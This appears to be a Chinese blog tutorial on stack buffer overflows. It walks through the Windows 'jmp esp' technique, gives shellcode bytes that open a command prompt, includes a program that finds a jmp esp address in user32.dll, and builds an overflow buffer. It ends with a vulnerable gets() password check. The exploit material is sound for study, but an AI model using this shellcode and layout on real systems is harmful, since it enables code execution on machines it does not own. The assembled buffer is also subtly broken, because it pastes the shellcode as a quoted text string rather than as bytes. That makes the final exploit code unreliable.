浅谈栈溢出(二)

再谈栈溢出


​ 上回书说到,向缓冲区内填充数据,如果数据很长,超过缓冲区本身容量,数据会溢出空间,覆盖合法数据。但是,可以精心设计溢出数据,造成攻击。


1. 本地缓冲区溢出简单利用

已有条件:

1. 知道有问题程序返回点的精准地址,即可以把他覆盖成任意地址。
2. 有了shellcode。
3. 把有问题程序返回点地址覆盖成shellcode地址,即可成功利用缓冲区溢出。

现在的目的:shellcode的地址是什么?即把返回点地址覆盖成什么?

​ 在windows下利用系统核心dll里的指令完成跳转。

用系统核心dll中的jmp esp 地址来覆盖返回地址,然后把shellcode紧跟其后。

​ 利用格式:NNNNNNNNRSSSSSSSS,N=Nop,R=jmp esp,S=shellcode。

覆盖之后堆栈图示:

Nop
Nop
Nop
Jmp esp(原eip)
S0
S1
S2
s3

函数执行完成之后,esp指向原eip地址,而eip指向Ret指令

(eip指向下一条指令地址,Ret指令相当于pop eip)。

当eip被覆盖为 jmp esp之后,ret 相当于指向 jmp esp的地址。然后esp下移,指向S0,然后开始执行Shellcode。

1. EIP 指令指针指向下一条要执行的命令,一般会自动加 2. ESP 堆栈顶指针指向堆栈的顶部。在PUSH 时,ESP 往上走,减 1;在 POP 时,ESP 往下走,加 1。 

2. 栈溢出的简单构筑

以一简单c为例:

#include<cstdio>
#include<cstring>

int  main() {
	char name[] = "tfire";
	char output[8];
	strcpy(output, name);
	for (int i = 0; i < 8; i++) {
		printf("\\0x%x", output[i]);
	}
	return 0;
}

执行结果:

\0x74\0x66\0x69\0x72\0x65\0x0\0xfffffffe\0xfffffffe

给出转换表:

在这里插入图片描述

给出shellcode机器码(功能为打开dos窗口):

char shellcode[]=
{
0x8B,0xE5, 0x55,0x8B,0xEC,0x83,0xEC,0x0C,0xB8, 0x63,0x6F,0x6D,0x6D,0x6D,0x6D,0x6F,0x63,0x89, 0x45,0xF4,0xB8,0x61,0x6E,0x64,0x2E,0x89,0x45, 0xF8,0xB8,0x63,0x6F,0x6D,0x22,0x89,0x45,0xFC, 0x33,0xD2, 0x88,0x55,0xFF, 0x8D,0x45,0xF4,  0x50, 0xB8,0x24,0x98,0x01,0x78, 0xFF,0xD0
};

将name[]进行构造:

name[8] ebp RET ShellCode
AAAAAAAA AAAA 0x76388b13 SSSSSSSS

关于这个jmp esp的地址,会因为windows版本不同而不同。

在网上找了一个加载动态库esp地址的代码(这个还没看到…)

#include <windows.h>
#include <stdio.h>
int main(int, char**, char**)
{
	BYTE* pbyte;
	int nPos = 0, nAddr = 0;
	HINSTANCE hHinst = NULL;
	bool bTips = true;
	hHinst = LoadLibrary("user32.dll");
	if (!hHinst) return 0;
	pbyte = (BYTE*)hHinst;
	while (bTips)
	{
		if (pbyte[nPos] == 0xff && pbyte[nPos + 1] == 0xe4)
		{
			nAddr = (int)pbyte + nPos;
			printf("address is 0x%x\n", nAddr);
			bTips = false;
		}
		else
			nPos++;
	}
	if (hHinst != NULL) FreeLibrary(hHinst);
	return 1;
}

输出地址:

0x76388b13

将代码合并整理:

char name[]=
{
 "\x41\x41\x41\x41\x41\x41\x41\x41"//name=AAAA
 "\x41\x41\x41\x41"   //ebp=AAAA   
 "\x13\x8b\x38\x76"   //覆盖成jmp esp地址
 "0x8B,0xE5,    0x55,0x8B,0xEC,0x83,0xEC,0x0C,0xB8, 0x63,0x6F,0x6D,0x6D,0x6D,0x6D,0x6F,0x63,0x89, 0x45,0xF4,0xB8,0x61,0x6E,0x64,0x2E,0x89,0x45, 0xF8,0xB8,0x63,0x6F,0x6D,0x22,0x89,0x45,0xFC, 0x33,0xD2, 0x88,0x55,0xFF, 0x8D,0x45,0xF4,  0x50, 0xB8,0x24,0x98,0x01,0x78, 0xFF,0xD0"
     //此处为shellcode地址,功能为打开dos窗口
}

接下来执行程序,明明是字符串的复制,却会打开dos窗口,至此,缓冲区溢出构建完成。


3. 溢出实例

看一个简单代码:

#include <stdio.h>
#include <string.h>
int main(int argc, const char * argv[]) {

    char passsword[8] = "secret", input[8];
    while (1) {
        printf("Enter your password:");
        gets(input);
        if (strcmp(input, passsword) == 0) {
            printf("Welcome!\n");
            break;
        }else {
            printf("Sorry,your password is wrong.\n");
        }
    }
    return 0;
}

看看结果吧

在这里插入图片描述

What??

输入ok居然对了??

这就是缓冲区溢出造成的,具体已经解释过了,这迷人的魅力啊~

发布了29 篇原创文章 · 获赞 1 · 访问量 938

猜你喜欢

转载自blog.csdn.net/qq_40505187/article/details/104623022